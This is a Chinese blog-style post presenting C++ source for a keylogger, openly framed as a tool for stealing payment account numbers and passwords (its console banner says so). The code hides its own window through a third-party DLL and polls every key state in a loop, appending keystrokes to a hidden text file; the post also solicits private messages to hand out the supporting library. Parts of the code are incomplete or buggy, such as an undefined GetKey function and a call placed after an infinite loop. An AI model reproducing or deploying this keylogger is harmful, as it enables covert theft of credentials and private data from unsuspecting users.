C++编写键盘记录器流程

如果有人恶意利用这个漏洞,分分钟可以取得你输入过的账号密码之类信息以及其它敏感的隐私信息。更重要的是,即使有人窃取了这些内容,也不会引发任何警报和痕迹,说不定你的信息已经被窃取很久了。

C++编写键盘记录器流程

动态库获取 私密我“代码” 免费获取

具体操作代码如下:

引用静态库(静态库下载,私信我 "代码")

C++编写键盘记录器流程

动态库获取 私密我“代码” 免费获取

源代码

#include "stdafx.h"

#include "KRecordLib.h"

#pragma comment(lib,"KeyRecordLib.lib")

void GetUserPasswordST()

{

char strAppName[1024];

{

typedef int (WINAPI ICEPUB_GETAPPLICATIONNAME)(char *strReturn);

ICEPUB_GETAPPLICATIONNAME *icePub_getApplicationName = 0;

HINSTANCE hDLLDrv = LoadLibrary(L"icePubDll.dll");

if (hDLLDrv)

{

icePub_getApplicationName = (ICEPUB_GETAPPLICATIONNAME *)GetProcAddress(hDLLDrv, "icePub_getApplicationName");

}

if (icePub_getApplicationName != NULL)

{

icePub_getApplicationName(strAppName);

}

if (hDLLDrv)

FreeLibrary(hDLLDrv);

}

{

typedef int (WINAPI ICEPUB_HIDEFORM)(char *strFormTitle);

ICEPUB_HIDEFORM *icePub_hideForm = 0;

HINSTANCE hDLLDrv = LoadLibrary(L"icePubDll.dll");

if (hDLLDrv)

{

icePub_hideForm = (ICEPUB_HIDEFORM *)GetProcAddress(hDLLDrv, "icePub_hideForm");

}

if (icePub_hideForm)

icePub_hideForm(strAppName);

if (hDLLDrv)

FreeLibrary(hDLLDrv);

}

//your 后台运行程序代码

}

C++编写键盘记录器流程

动态库获取 私密我“代码” 免费获取

主函数

int _tmain(int argc, _TCHAR* argv[])

{

string Filename = ".bycw-vico.txt";//倒出记录文本存在D盘log.txt目录下

string TempString = "";

fstream FStream;

cout << "nnnnntttt□□□□□□□□□□□□□□□□□□□□□□□□□□□n";

cout << "tttt□ □n";

cout << "tttt□ 《盗取支付账号及密码工具系统》 □n";

cout << "tttt□ □n";

cout << "tttt□□□□□□□□□□□□□□□□□□□□□□□□□□□n";

FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);

while (true)

{

Sleep(5);

for (int i = 8; i <= 255; i++)

{

if (GetAsyncKeyState(i) & 1 == 1)

{

TempString = GetKey(i);

FStream.write(TempString.c_str(), TempString.size());

FStream.close();

FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);

}

}

}

GetUserPasswordST();

return 0;

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发表评论

登录后才能评论